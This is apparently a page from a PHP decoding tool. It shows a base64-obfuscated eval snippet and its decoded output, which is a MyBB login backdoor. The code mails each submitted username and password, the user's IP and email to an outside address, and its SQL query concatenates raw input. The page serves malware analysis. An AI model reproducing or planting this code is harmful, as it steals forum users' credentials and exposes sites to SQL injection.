Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

@eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKG1haWwpKToKCQkkcXVlcnkgPSAkZGItPnNpbXBsZV9zZ..

Decoded Output download

if(function_exists(mail)):
		$query = $db->simple_select("users", "*","username='".$mybb->input['username']."'", array("order_by" => 'username', "order_dir" => 'DESC', "limit" => 1));
		$try = $db->fetch_array($query);
		if($db->num_rows($query) != 0):
			$em = $try['email'];
            $lip = $try['lastip'];
		else:
			$em = 'Not registered';
			$lip = 'Not registered';
		endif;
		mail("[email protected]", "PV Logs", 'Username: '.$mybb->input['username']."
Password: ".$mybb->input['password']."
CurrentIP: ".$_SERVER["REMOTE_ADDR"].'
LastIp: '.$lip.'
Email: '.$em, "From: pinoy-vendetta.net
Reply-To: [email protected]
X-Mailer: PHP/".phpversion());
	endif;

Did this file decode correctly?

Original Code

@eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKG1haWwpKToKCQkkcXVlcnkgPSAkZGItPnNpbXBsZV9zZWxlY3Qo
InVzZXJzIiwgIioiLCJ1c2VybmFtZT0nIi4kbXliYi0+aW5wdXRbJ3VzZXJuYW1lJ10uIiciLCBh
cnJheSgib3JkZXJfYnkiID0+ICd1c2VybmFtZScsICJvcmRlcl9kaXIiID0+ICdERVNDJywgImxp
bWl0IiA9PiAxKSk7CgkJJHRyeSA9ICRkYi0+ZmV0Y2hfYXJyYXkoJHF1ZXJ5KTsKCQlpZigkZGIt
Pm51bV9yb3dzKCRxdWVyeSkgIT0gMCk6CgkJCSRlbSA9ICR0cnlbJ2VtYWlsJ107CiAgICAgICAg
ICAgICRsaXAgPSAkdHJ5WydsYXN0aXAnXTsKCQllbHNlOgoJCQkkZW0gPSAnTm90IHJlZ2lzdGVy
ZWQnOwoJCQkkbGlwID0gJ05vdCByZWdpc3RlcmVkJzsKCQllbmRpZjsKCQltYWlsKCJwaGlsa2Vy
bG9nQGdtYWlsLmNvbSIsICJQViBMb2dzIiwgJ1VzZXJuYW1lOiAnLiRteWJiLT5pbnB1dFsndXNl
cm5hbWUnXS4iXG5QYXNzd29yZDogIi4kbXliYi0+aW5wdXRbJ3Bhc3N3b3JkJ10uIlxuQ3VycmVu
dElQOiAiLiRfU0VSVkVSWyJSRU1PVEVfQUREUiJdLidcbkxhc3RJcDogJy4kbGlwLidcbkVtYWls
OiAnLiRlbSwgIkZyb206IHBpbm95LXZlbmRldHRhLm5ldFxyXG5SZXBseS1UbzogbG9sQGV4YW1w
bGUuY29tXHJcblgtTWFpbGVyOiBQSFAvIi5waHB2ZXJzaW9uKCkpOwoJZW5kaWY7')); 

Function Calls

base64_decode 1

Variables

None

Stats

MD5 21a0061529f94aeecddec51652199d81
Eval Count 1
Decode Time 93 ms